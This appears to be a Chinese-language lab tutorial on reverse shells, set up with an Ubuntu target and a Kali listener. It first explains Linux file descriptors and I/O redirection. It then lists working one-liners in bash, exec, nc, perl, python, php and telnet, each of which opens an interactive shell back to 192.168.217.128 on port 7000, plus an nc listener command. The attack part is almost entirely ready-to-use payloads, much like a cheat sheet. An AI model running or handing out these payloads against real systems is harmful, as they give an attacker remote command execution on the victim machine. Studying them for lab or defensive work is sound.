反弹shell测试

准备

靶机为一台ubuntu,测试机为kali,两者位于同一网段内

原理

文件描述符

当Linux启动的时候会默认打开三个文件描述符,分别是:

  • 标准输入standard input 0 (默认设备键盘)
  • 标准输出standard output 1(默认设备显示器)
  • 错误输出:error output 2(默认设备显示器)

文件所有输入输出都是由该进程所有打开的文件描述符控制的。(Linux一切皆文件,就连键盘显示器设备都是文件,因此他们的输入输出也是由文件描述符控制)

一条命令执行以前先会按照默认的情况进行绑定(也就是上面所说的 0,1,2),如果我们有时候需要让输出不显示在显示器上,而是输出到文件或者其他设备,那我们就需要重定向。

重定向

  • 输入重定向 < <<
  • 输出重定向 > >>
  1. bash 在执行一条指令的时候,首先会检查命令中存不存在重定向的符号,如果存在那么首先将文件描述符重定向,然后在把重定向去掉,执行指令

  2. 如果指令中存在多个重定向,那么不要随便改变顺序,因为重定向是从左向右解析的,改变顺序可能会带来完全不同的结果(这一点我们后面会展示)

  3. < 是对标准输入 0 重定向 ,> 是对标准输出 1 重定向

  4. 重定向就是针对文件描述符的操作

1
2
3
4
5
6
7
8
#输入重定向:
[n]< [file] #n为文件描述符 默认为0

#输出重定向:
[n]> [file] #默认为1

#标准输出与标准错误输出重定向:
&> [file] >& [file] 等价于 > [file] 2>&1

测试

bash

靶机

bash -i >& /dev/tcp/192.168.217.128/7000 0>&1

-i 打开一个可交互的shell,>& 将混合输出重定向到文件(这里的&是混合输出包括标准和错误的意思),0>&1 将标准输入重定向到文件(与前者不同,这里的 & 是为了区分文件描述符和数字名的文件),其中 /dev/tcp/192.168.217.128/7000 就相当于是一个文件

kali

nc -lvp 7000

nc监听7000端口

exec

exec 5<>/dev/tcp/192.168.217.128/7000;cat <&5|while read line;do $line >&5 2>&1;done

nc

nc -e /bin/sh 192.168.217.128 7000

perl

perl -e 'use Socket;$i="192.168.217.128";$p=7000;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

python

python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.217.128",7000));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

php

php -r '$sock=fsockopen("192.168.217.128",7000);exec("/bin/sh -i <&3 >&3 2>&3");'

telnet

mknod backpipe p && telnet 192.168.217.128 7000 0<backpipe | /bin/bash 1>backpipe

参考

https://xz.aliyun.com/t/2548

https://www.cnblogs.com/iouwenbo/p/11277453.html

https://www.cnblogs.com/r00tgrok/p/reverse_shell_cheatsheet.html